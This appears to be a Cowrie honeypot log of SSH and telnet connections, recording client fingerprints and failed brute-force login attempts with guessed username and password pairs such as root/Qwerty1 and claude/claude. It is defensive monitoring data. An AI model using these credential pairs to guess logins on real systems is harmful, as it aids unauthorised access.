{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:45.668774Z","src_ip":"45.153.34.112","session":"4e08aaf75d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:45.751268Z","src_ip":"45.153.34.112","session":"4e08aaf75d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:45.997940Z","src_ip":"45.153.34.112","session":"4e08aaf75d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50192,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3d4ebe845f","protocol":"telnet","message":"New connection: 192.119.13.58:50192 (10.17.0.5:23) [session: bc3d4ebe845f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:46.324204Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:47.083359Z","src_ip":"45.153.34.112","session":"4e08aaf75d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.260947465896606,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:47.651557Z","src_ip":"192.119.13.58","session":"6a33646cb347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b9ba8cf9d5","protocol":"telnet","message":"New connection: 192.119.13.58:33598 (10.17.0.5:23) [session: 45b9ba8cf9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:49.106735Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54300,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c9fd3efaab","protocol":"ssh","message":"New connection: 45.153.34.112:54300 (10.17.0.5:22) [session: 96c9fd3efaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:49.131141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:49.135848Z","src_ip":"45.153.34.112","session":"96c9fd3efaab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:49.218829Z","src_ip":"45.153.34.112","session":"96c9fd3efaab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:49.465134Z","src_ip":"45.153.34.112","session":"96c9fd3efaab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.1666784286499,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:50.198723Z","src_ip":"192.119.13.58","session":"d55bdf775840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:50.549825Z","src_ip":"45.153.34.112","session":"96c9fd3efaab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"236d6ac41b00","protocol":"ssh","message":"New connection: 158.178.141.16:40124 (10.17.0.5:22) [session: 236d6ac41b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:51.965722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:51.971005Z","src_ip":"158.178.141.16","session":"236d6ac41b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:52.179649Z","src_ip":"158.178.141.16","session":"236d6ac41b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49078,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f5ee6ab2f91","protocol":"telnet","message":"New connection: 192.119.13.58:49078 (10.17.0.5:23) [session: 9f5ee6ab2f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:52.757272Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45598,"dst_ip":"10.17.0.5","dst_port":22,"session":"599102973c5e","protocol":"ssh","message":"New connection: 45.153.34.112:45598 (10.17.0.5:22) [session: 599102973c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:52.879005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:52.885221Z","src_ip":"45.153.34.112","session":"599102973c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:52.967808Z","src_ip":"45.153.34.112","session":"599102973c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqq1111","message":"login attempt [root/qqqq1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:53.045233Z","src_ip":"158.178.141.16","session":"236d6ac41b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:53.214393Z","src_ip":"45.153.34.112","session":"599102973c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b8469bbd66d","protocol":"ssh","message":"New connection: 103.77.175.15:53282 (159.203.135.109:22) [session: 5b8469bbd66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:53.471324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:53.480581Z","src_ip":"103.77.175.15","session":"5b8469bbd66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:53.733851Z","src_ip":"103.77.175.15","session":"5b8469bbd66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:54.256718Z","src_ip":"158.178.141.16","session":"236d6ac41b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:54.298703Z","src_ip":"45.153.34.112","session":"599102973c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369a","message":"login attempt [root/147258369a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:54.487256Z","src_ip":"103.77.175.15","session":"5b8469bbd66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:55.741398Z","src_ip":"103.77.175.15","session":"5b8469bbd66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45610,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc91d7182ec","protocol":"ssh","message":"New connection: 45.153.34.112:45610 (10.17.0.5:22) [session: bdc91d7182ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:56.315739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:56.320615Z","src_ip":"45.153.34.112","session":"bdc91d7182ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:56.402810Z","src_ip":"45.153.34.112","session":"bdc91d7182ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:56.653519Z","src_ip":"45.153.34.112","session":"bdc91d7182ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:57.779498Z","src_ip":"45.153.34.112","session":"bdc91d7182ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":39058,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaccf8a13916","protocol":"ssh","message":"New connection: 106.251.244.178:39058 (10.17.0.5:22) [session: aaccf8a13916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:58.154878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:58.159508Z","src_ip":"106.251.244.178","session":"aaccf8a13916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43722,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3772449b76e","protocol":"telnet","message":"New connection: 192.119.13.58:43722 (10.17.0.5:23) [session: f3772449b76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:58.168893Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:58.356052Z","src_ip":"106.251.244.178","session":"aaccf8a13916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:59.174242Z","src_ip":"106.251.244.178","session":"aaccf8a13916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57144,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbdab054445d","protocol":"ssh","message":"New connection: 45.153.34.112:57144 (10.17.0.5:22) [session: cbdab054445d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:59.796815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:59.860859Z","src_ip":"45.153.34.112","session":"cbdab054445d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:00.010846Z","src_ip":"45.153.34.112","session":"cbdab054445d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:00.269663Z","src_ip":"45.153.34.112","session":"cbdab054445d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:00.379527Z","src_ip":"106.251.244.178","session":"aaccf8a13916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.497661352157593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:00.609287Z","src_ip":"192.119.13.58","session":"5b5cdca6586c","protocol":"telnet"}
